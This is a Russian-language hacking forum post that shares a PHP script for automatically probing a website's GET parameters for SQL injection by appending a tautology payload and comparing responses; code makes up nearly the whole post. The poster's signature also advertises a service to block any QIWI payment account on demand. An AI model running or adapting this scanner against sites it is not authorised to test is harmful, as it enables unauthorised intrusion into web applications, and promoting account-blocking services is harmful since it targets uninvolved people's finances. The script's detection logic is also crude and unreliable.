[PHP] SQL Injection Scanner

Тема в разделе "Софт и инструменты", создана пользователем Hermanicus, 8 мар 2017.

  1. Турецкий код для поиска SQL уязвимости.

    Код:
    <?php
    #TCA Team
    #Sql injection scanner Coded By ./MekiTembem404
    $http = '';
    if($http == '')
    die("Http is empty!\n\n<b>Powered by TCA</b>\n# TCA Team");
    echo "Scan for : <b>$http</b> \n\n";
    $http = (substr($http, -1) != '/') ? $http.'/' : $http;
    $found = getGet();
    function getGet()
    {
    global $http;

    $getN = array();
    $fenN = array();

    $htm = @file_get_contents($http);
    @preg_match_all('/((\/[a-zA-Z0-9]+\/)|)([a-zA-Z0-9]+\.[a-zA-Z0-9]+\?)([a-zA-Z0-9]+)(\s*\=)([a-zA-Z0-9]+)/im', $htm, $gets);
    foreach($gets[0] as $get)
    {
    $get = str_replace($http, '', $get);

    if(!in_array($get, $getN))
    {
    @preg_match_all('/(.*)(\?)/', $get, $gn);
    $name = str_replace('?', '', $gn[1][0]);
    if([email protected]_array($name, $fenN) && @in_array(substr(strrchr($name, "."), 1), array('php', 'asp', 'aspx'))){
    $getN[] = $get;
    $fenN[] = $name;
    }
    }
    }
    return $getN;
    }
    foreach($found as $get)
    {
    $address = $http.$get;

    $htm1 = @file_get_contents($address);
    $htm2 = @file_get_contents($address.'%20and%20\'a\'%20=%20\'a\'');

    if($htm1 == $htm2)
    echo $get." <b><font color=\"#1B9B1B\">SQL injection!</font></b> \n";
    else
    echo $get." <b><font color=\"#D80404\">Failed!</font></b> \n";

    }
    echo "\n\n<b>Powered by TCA</b>\n";
    ?>
    Предлагаю услуги по:
    1. Сделаю зеркало любого сайта в сети ТОR
    2. Блокировка ЛЮБОГО QIWI Номера (Быстро)


    [​IMG]
    Мануалы и софт выложены в ознакомительных целях вся ответственность за использования ложится на вас.
    Софт советую использовать на виртуалке.
     

Поделиться этой страницей